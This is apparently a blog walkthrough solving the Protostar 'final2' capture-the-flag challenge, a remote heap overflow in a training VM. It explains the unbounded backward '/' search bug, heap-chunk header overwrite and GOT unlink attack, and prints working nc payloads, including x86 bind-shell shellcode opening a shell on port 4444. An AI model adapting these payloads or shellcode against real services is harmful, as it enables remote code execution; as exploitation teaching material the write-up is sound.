Protostar Exploit Challenges Final 2 Solution

Introduction

This tutorial covers the final2 program from the protostar exploit challenges. It is a remote heap overflow attack.

Getting Familiar

This program seemed a bit less familiar to me than previous challenges so I spent some time figuring out what was going on. I started with the get_requests function.

figure1

The first thing I noticed was the line read(fd, buf, REQSZ) != REQSZ) break; This means whatever we pass the program must be of at least size REQSZ, which in this case is 128 bytes.  Next is the line if(strnmp(buf, “FSRD”, 4) != 0) break; which means that our string must begin with FSRD. This takes you up to the check_path function.

figure2

There are a couple of things to notice here. rindex returns a pointer to the last occurrence of the character ‘/’. The line start = strstr(buf, “ROOT”); returns the first occurrence of the word ROOT within our buffer. This places an additional constraint on our string. Our string must be at least 128 bytes, the first four letters must be FSRD, and within the first 128 bytes the word ROOT must occur. If ROOT is not within our buffer we will not enter the conditional if(start) {.

The line while(*start != ‘/’) start–; starts at the beginning of the word ROOT and works backwards to find the first occurrence of the character ‘/’. By the end start will point to the first occurrence of the character ‘/’ before the word ROOT. The line memmove(start, p, l); will move whatever is after last occurrence of the character ‘/’ and place it into wherever the first ‘/’ before ROOT is.

 

Now that I had a better understanding of the basic program layout I decided to look for the bug. I didn’t immediately see something, but the memmove looked suspicious (plus there is the hint). I decided to do some basic fuzzing with the aim of getting that code to run. It didn’t take long to find the bug, in fact I got it on the second guess with input:

python -c ‘print “FSRD” + “A”*128 + “/ROOT” + “A”*2000’ | nc 127.0.0.1 2993

Starting program: /opt/protostar/bin/final2
[New process 7584]
[New process 7587]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 7587]
strlen () at ../sysdeps/i386/i486/strlen.S:69
69 ../sysdeps/i386/i486/strlen.S: No such file or directory.
in ../sysdeps/i386/i486/strlen.S
Current language: auto
The current source language is “auto; currently asm”.
(gdb) bt
#0 strlen () at ../sysdeps/i386/i486/strlen.S:69
#1 0x0804bcf7 in check_path (buf=0x804e00c ‘A’ <repeats 124 times>) at final2/final2.c:22
#2 0x0804bdd6 in get_requests (fd=6) at final2/final2.c:50
#3 0x0804be87 in main (argc=1, argv=0xbffffd64, envp=0xbffffd6c) at final2/final2.c:76

I had thought the error would occur in memmove, but it actually happened in string length. It stands to reason the only real thing that could go wrong with strlen is if we passed it a bad pointer. This is indeed the case:

(gdb) i r $eax
eax 0x0 0
(gdb) x/i $eip
0xb7f0a313 <strlen+51>: mov ecx,DWORD PTR [eax]

There was a NULL pointer in EAX and the program crashed while trying to dereference it. Now things began to click for me. The only way we could have a NULL pointer is if  rindex() returns nothing. It will return nothing if there are no ‘/’ characters within the first 124 bytes after FSRD. Unfortunately, while this does cause a crash, you can’t really do anything with it so I continued my search.

I found the problem, but it definitely isn’t immediately obvious. If it isn’t popping out at you I wouldn’t feel too badly about it. My initial mistake was to look at it from the perspective of trying to get the exploit with one buffer. Take a closer look at the line: while(*start != ‘/’) start; and give it some thought. Hint: Don’t try to think of it in terms of exploiting with only one buffer.

Did you figure it out? If not that’s ok. In this scenario we can cause multiple callocs. The while loop for start is NOT bounded. So if it doesn’t find a / in the current buffer it just keeps traveling backwards! My first hack at testing this out was the below. Each calloc takes a REQSZ of 128 bytes. The first calloc should grab the /A*127. The next calloc should start with FSRDROOT, which has the ‘/’ character AFTER the ROOT string. This way we won’t end up with a null pointer for p. However, the search for a ‘/’ starts at the ROOT string and works backwards. Since there isn’t a ‘/’ in the second buffer the start pointer should end up pointing to our As. If that’s the case then we should be able to arbitrarily control where start points.

python -c ‘print “FSRD” + “/” + “A”*123 + “FSRDROOT/” + “B”*200’ | nc 127.0.0.1 2993

I set two breakpoints to test this. One directly after read and one after the while loop with start finishes. After the first breakpoint hit, I checked buf and it was indeed our As with the /.

 

figure1

Above is a graphical representation of the while loop in the check_path function. I placed a breakpoint at 0x0804bd2c and examined the value ebp+start, which is $ebp-0x14.

(gdb) x/x $ebp-0x14
0xbffff844: 0x0804e00c
(gdb) x/s 0x0804e00c
0x804e00c: “/”, ‘A’ <repeats 123 times>

My suspicions were correct. We can indeed control where start points. Further I inspected memory and confirmed our memory buffers were side by side:

(gdb) x/200x 0x0804e00c
0x804e00c: 0x4141412f 0x41414141 0x41414141 0x41414141
0x804e01c: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e02c: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e03c: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e04c: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e05c: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e06c: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e07c: 0x41414141 0x41414141 0x41414141 0x00000000
0x804e08c: 0x00000089 0x44525346 0x544f4f52 0x4242422f
0x804e09c: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0ac: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0bc: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0cc: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0dc: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0ec: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0fc: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e10c: 0x42424242 0x00000000 0x00000ef1 0x00000000

Being a Bit More Targeted

Taking a look at our memory above we can start to think about how we want to exploit this. If you think about it, this is now exactly the same scenario as the heap3 exercise. The only difference is the order the buffers will be freed. In this case they will be processed by free(destroylist[i]); which will free them in the opposite order of the heap3 exercise. However, the principles of exploitation remain precisely the same.

My first task was to accurately overwrite the header of the second block. The below input should do it:

python -c ‘print “FSRD” + “A”*123 + “/” + “FSRDROOT/” + “C”*16 + “B”*200’ | nc 127.0.0.1 2993

That worked:

figure2

You can see the Cs perfectly overwrote the header of the second chunk. As we would expect, when this runs it causes a segmentation fault. Specifically, it segfaults when attempting to load the size field of the next chunk during the first free. The way it does this is to look at the size of the current chunk and add it to its pointer. The current chunk’s size was overwritten with 0x43434343.

Exploitation

I went very in depth on the principles of how this worked in my post here. If you don’t want to read through I suggest skipping down to the section titled exploitation. For the sake of brevity I won’t reexplain it here. My first step is to construct some input which will set up our fake heap block. In our case, write is called directly after our call to free making it an ideal overwrite target. I used objdump to look up the address of write in the GOT. IT is 0x0804d41c. Remember we have to subtract 12 from that address because the backward pointer is at offset +12 so we’ll use 0x0804d410. We will overwrite the forward pointer with this address and the backward pointer with the address we want to jump to, which in this case will be shellcode in the heap. We’ll want to jump to our code in the third buffer, which starts at address 0x0804e118.

python -c ‘print “FSRD” + “A”*123 + “/” + “FSRDROOT/” + “\xfc\xff\xff\xff”*2 + “\x10\xd4\x04\x08” + “\x18\xe1\x04\x08” + “B”*200’ | nc 127.0.0.1 2993

Sure enough, that works by itself. If you suffered through the heap3 challenge you may be a bit surprised by this. I frankly was expecting to have to do a lot more, but this one is actually easier to set up than its predecessors. All that’s left now is to inject our shellcode and run it.

python -c ‘print “FSRD” + “A”*123 + “/” + “FSRDROOT/” + “\xfc\xff\xff\xff”*2 + “\x10\xd4\x04\x08” + “\x18\xe1\x04\x08” + “B”*103 + “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″‘ | nc 127.0.0.1 2993

So this won’t work. The question is why? Well, I’m a bit ashamed to admit it probably took me 10 minutes of staring at this to remember. At an offset of 8 bytes we’ll write four random bytes. We’ll have to skip over this in order to get our shellcode to work. We can accomplish this with a jmp short. The opcode for a short jump is 0xeb following by a one byte distance value. To be safe I choose to jump 15 bytes away and added a 20 byte NOP sled.

python -c ‘print “FSRD” + “A”*123 + “/” + “FSRDROOT/” + “\xfc\xff\xff\xff”*2 + “\x10\xd4\x04\x08” + “\x18\xe1\x04\x08” + “B”*103 + “\xeb\x0f” + “\x90″*20 +  “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″‘ | nc 127.0.0.1 2993

And there you have it. Protostar complete. That should work and give you a bind shell on 4444.

VICTORY

Leave a Reply